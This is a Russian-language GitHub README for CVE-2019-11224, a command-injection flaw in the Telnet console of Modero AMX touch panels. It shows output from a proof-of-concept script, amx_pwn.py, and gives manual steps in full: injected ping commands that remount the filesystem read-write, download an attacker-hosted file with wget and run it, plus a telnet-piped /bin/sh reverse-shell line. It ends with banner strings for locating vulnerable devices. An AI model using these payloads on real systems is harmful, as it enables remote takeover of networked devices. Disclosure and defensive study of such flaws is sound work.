Выполнение кода на Modero AMX (CVE-2019-11224)

Этот репозиторий содержит несколько источников о CVE-2019–11224 (https://link.medium.com/zukA0oCnV8), так как я заметил, что ссылка больше не работает на официальном сайте NIST. Устройства Modero AMX — это, по сути, сенсорные панели для переговорных комнат; их можно встретить в самых разных средах, и обычно у них открыт Telnet. Поскольку они эмулируют неидеальную консоль через Telnet, существует уязвимость внедрения кода через функцию "ping" с помощью разделителей команд.

С момента создания этого репозитория GitHub и изучения устройств AMX я разработал POC и процесс эксплуатации для получения реверсивных шеллов с помощью этой уязвимости. Надеюсь, это принесёт вам радость :}

🐢 Получение шеллов с помощью amx_pwn.py

Я написал POC amx_pwn.py, который должен быть полезен. Пример вывода ниже:

┌──(cozyfox㉿submarine)-[/CVE-2019-11224]
└─$ python3 amx_pwn.py -t 192.168.0.21 -fs 192.168.0.41 -fn something.jpg -v 1
[!] Ваши текущие настройки:
[*] Цель: 192.168.0.21
[*] Файловый сервер и URL файла: http://192.168.0.41/something.jpg
[*] Подробность: 1
(^_^)7  Продолжить? (Y/N): y
[*] ВЫПОЛНЕНИЕ
Telnet(192.168.0.21,23): recv b'\xff\xfb\x01\r\nWelcome to Modero v2.86.50 Copyright (C) AMX '
Telnet(192.168.0.21,23): IAC WILL 1
Telnet(192.168.0.21,23): recv b'LLC 2002-2009\r\n>'
b'\r\nWelcome to Modero v2.86.50 Copyright (C) AMX LLC 2002-2009\r\n>'
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20-o\\x20remount,rw\\x20/'&&mount$CMD\r\n"
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
<..cut to remove clutter...>
Telnet(192.168.0.21,23): recv b'\xff\xfc\x01'
Telnet(192.168.0.21,23): IAC WONT 1
taking a snooze
Telnet(192.168.0.21,23): send b"ping ;CMD=$'\\x20http://192.168.0.41/something.jpg'&&wget$CMD\r\n"
taking a snooze
...

Шаги для выполнения этого вручную приведены ниже:

• Перемонтировать файловую систему как R/W:
  ping ;CMD=$'\x20-o\x20remount,rw\x20/'&&mount$CMD
  
• Разместить файл, доступный устройству — содержимое должно быть следующим:
  Примечание: Вам понадобятся два слушателя netcat, один для ввода, другой для вывода.
  telnet {YOUR_IP} 1332 | /bin/sh | telnet {YOUR_IP} 1333
  
• Загрузить ваш файл — ПРИМЕЧАНИЕ: Это должен быть IP-адрес, и файл должен раздаваться по HTTP. Эти устройства старые.
  ping ;CMD=$'\x20http://{YOUR_SYSTEM}/{YOUR_FILE}'&&wget$CMD
  
• Выполнить ваш файл и поймать шеллы:
  ping ;CMD=$'\x20{YOUR_FILE}'&&/bin/sh$CMD

👁️ Идентификация службы Modero AMX

Проверьте баннеры Telnet (обычно порт 23) на наличие: Welcome to Modero: или Copyright (C) AMX LLC. Ищите версии до 2.87.13.